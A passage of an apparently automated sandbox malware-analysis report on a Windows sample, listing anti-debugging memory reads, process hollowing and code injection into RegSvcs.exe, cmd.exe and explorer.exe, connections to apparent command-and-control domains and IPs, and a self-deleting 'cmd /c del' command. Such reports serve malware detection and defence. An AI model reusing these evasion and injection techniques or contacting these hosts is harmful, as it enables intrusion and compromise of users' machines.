Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B3D34 mov eax, dword ptr fs:[00000030h]	23_2_035B3D34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120 mov eax, dword ptr fs:[00000030h]	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120 mov eax, dword ptr fs:[00000030h]	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120 mov eax, dword ptr fs:[00000030h]	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120 mov eax, dword ptr fs:[00000030h]	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120 mov ecx, dword ptr fs:[00000030h]	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_036341E8 mov eax, dword ptr fs:[00000030h]	23_2_036341E8
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03658DF1 mov eax, dword ptr fs:[00000030h]	23_2_03658DF1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AB1E1 mov eax, dword ptr fs:[00000030h]	23_2_035AB1E1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AB1E1 mov eax, dword ptr fs:[00000030h]	23_2_035AB1E1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AB1E1 mov eax, dword ptr fs:[00000030h]	23_2_035AB1E1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BD5E0 mov eax, dword ptr fs:[00000030h]	23_2_035BD5E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BD5E0 mov eax, dword ptr fs:[00000030h]	23_2_035BD5E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DFD9B mov eax, dword ptr fs:[00000030h]	23_2_035DFD9B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DFD9B mov eax, dword ptr fs:[00000030h]	23_2_035DFD9B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A2D8A mov eax, dword ptr fs:[00000030h]	23_2_035A2D8A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A2D8A mov eax, dword ptr fs:[00000030h]	23_2_035A2D8A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A2D8A mov eax, dword ptr fs:[00000030h]	23_2_035A2D8A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A2D8A mov eax, dword ptr fs:[00000030h]	23_2_035A2D8A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A2D8A mov eax, dword ptr fs:[00000030h]	23_2_035A2D8A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA185 mov eax, dword ptr fs:[00000030h]	23_2_035DA185
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035CC182 mov eax, dword ptr fs:[00000030h]	23_2_035CC182
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035D35A1 mov eax, dword ptr fs:[00000030h]	23_2_035D35A1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C0050 mov eax, dword ptr fs:[00000030h]	23_2_035C0050
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C0050 mov eax, dword ptr fs:[00000030h]	23_2_035C0050
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03671074 mov eax, dword ptr fs:[00000030h]	23_2_03671074
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03662073 mov eax, dword ptr fs:[00000030h]	23_2_03662073
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DA44B mov eax, dword ptr fs:[00000030h]	23_2_035DA44B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C746D mov eax, dword ptr fs:[00000030h]	23_2_035C746D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363C450 mov eax, dword ptr fs:[00000030h]	23_2_0363C450
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363C450 mov eax, dword ptr fs:[00000030h]	23_2_0363C450
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661C06 mov eax, dword ptr fs:[00000030h]	23_2_03661C06
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626C0A mov eax, dword ptr fs:[00000030h]	23_2_03626C0A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626C0A mov eax, dword ptr fs:[00000030h]	23_2_03626C0A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626C0A mov eax, dword ptr fs:[00000030h]	23_2_03626C0A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626C0A mov eax, dword ptr fs:[00000030h]	23_2_03626C0A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0367740D mov eax, dword ptr fs:[00000030h]	23_2_0367740D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0367740D mov eax, dword ptr fs:[00000030h]	23_2_0367740D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0367740D mov eax, dword ptr fs:[00000030h]	23_2_0367740D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BB02A mov eax, dword ptr fs:[00000030h]	23_2_035BB02A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BB02A mov eax, dword ptr fs:[00000030h]	23_2_035BB02A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BB02A mov eax, dword ptr fs:[00000030h]	23_2_035BB02A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BB02A mov eax, dword ptr fs:[00000030h]	23_2_035BB02A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DBC2C mov eax, dword ptr fs:[00000030h]	23_2_035DBC2C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03674015 mov eax, dword ptr fs:[00000030h]	23_2_03674015
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03674015 mov eax, dword ptr fs:[00000030h]	23_2_03674015
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627016 mov eax, dword ptr fs:[00000030h]	23_2_03627016
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627016 mov eax, dword ptr fs:[00000030h]	23_2_03627016
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03627016 mov eax, dword ptr fs:[00000030h]	23_2_03627016
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626CF0 mov eax, dword ptr fs:[00000030h]	23_2_03626CF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626CF0 mov eax, dword ptr fs:[00000030h]	23_2_03626CF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03626CF0 mov eax, dword ptr fs:[00000030h]	23_2_03626CF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_036614FB mov eax, dword ptr fs:[00000030h]	23_2_036614FB
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03678CD6 mov eax, dword ptr fs:[00000030h]	23_2_03678CD6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov eax, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov ecx, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov eax, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov eax, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov eax, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0363B8D0 mov eax, dword ptr fs:[00000030h]	23_2_0363B8D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B849B mov eax, dword ptr fs:[00000030h]	23_2_035B849B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A9080 mov eax, dword ptr fs:[00000030h]	23_2_035A9080
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DF0BF mov ecx, dword ptr fs:[00000030h]	23_2_035DF0BF
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DF0BF mov eax, dword ptr fs:[00000030h]	23_2_035DF0BF
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DF0BF mov eax, dword ptr fs:[00000030h]	23_2_035DF0BF
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03623884 mov eax, dword ptr fs:[00000030h]	23_2_03623884
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03623884 mov eax, dword ptr fs:[00000030h]	23_2_03623884
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E90AF mov eax, dword ptr fs:[00000030h]	23_2_035E90AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_00409B20 LdrLoadDll,

6_2_00409B20

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00886FE3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		23_2_00886FE3
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00887310 SetUnhandledExceptionFilter,		23_2_00887310

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.ice-lemon.pro
Source: C:\Windows\explorer.exe	Domain query: www.indianadogeavaxsite.site
Source: C:\Windows\explorer.exe	Domain query: www.munortiete.com
Source: C:\Windows\explorer.exe	Domain query: www.pierrot-bros.com
Source: C:\Windows\explorer.exe	Network Connect: 54.194.41.141 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.147.111 80	Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Section unmapped: C:\Windows\SysWOW64\cmd.exe base address: 870000

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 709008	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread register set: target process: 3292	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread register set: target process: 3292	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Thread register set: target process: 3292	Jump to behavior

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'	Jump to behavior

Source: explorer.exe, 00000008.00000000.328066914.0000000001400000.00000002.00020000.sdmp, cmd.exe, 00000017.00000002.522213506.0000000005CA0000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000008.00000000.328066914.0000000001400000.00000002.00020000.sdmp, cmd.exe, 00000017.00000002.522213506.0000000005CA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000000.328066914.0000000001400000.00000002.00020000.sdmp, cmd.exe, 00000017.00000002.522213506.0000000005CA0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000000.328066914.0000000001400000.00000002.00020000.sdmp, cmd.exe, 00000017.00000002.522213506.0000000005CA0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000000.284022944.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000008.00000000.294727832.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
